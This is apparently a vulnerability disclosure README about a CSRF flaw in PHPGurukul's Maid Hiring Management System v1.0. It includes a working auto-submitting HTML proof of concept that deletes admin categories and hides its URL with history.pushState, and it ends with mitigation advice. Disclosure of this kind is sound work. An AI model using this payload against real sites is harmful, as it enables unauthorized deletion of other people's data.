疑似Oday
**Project Name & Repo URL:**
[Maid Hiring Management System using PHP and MySQL](https://phpgurukul.com/maid-hiring-management-system-using-php-and-mysql/)
**Vulnerability Type:**
Client Side Request Forgery
**Affected Version(s):** v1.0
**💣Vulnerability Description:**
A Cross-Site Request Forgery (CSRF) vulnerability exists in the admin panel of PHPGurukul Hiring Management System, allowing an attacker to delete arbitrary hiring categories by tricking an authenticated admin into visiting a malicious site. This can lead to data deletion and unauthorized admin-level changes.
**👩💻Impact:**
Unauthorized category deletion.
**🛜Proof-of-Concept (PoC):**
1) There was a category delete functionality where only authenticated admin can delete category.

2) HTML code to send GET request to the endpoint `/admin/manage-category.php`
**CSRF-POC**
```
<html>
<body>
<form action="http://127.0.0.1/mhms/admin/manage-category.php">
<input type="hidden" name="delid" value="13" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
```
3) Use the HTML code and craft a malicious URL.

4) After Admin clicks on the link, the category will be deleted.


**Recommendation:**
Implement of CSRF tokens in admin forms, enforce SameSite cookies, and validate request origin to prevent unauthorized actions.
[4.0K] /data/pocs/6e80ff9e51df66f06795922093f95aa95ba2602f
└── [1.8K] README.md
0 directories, 1 file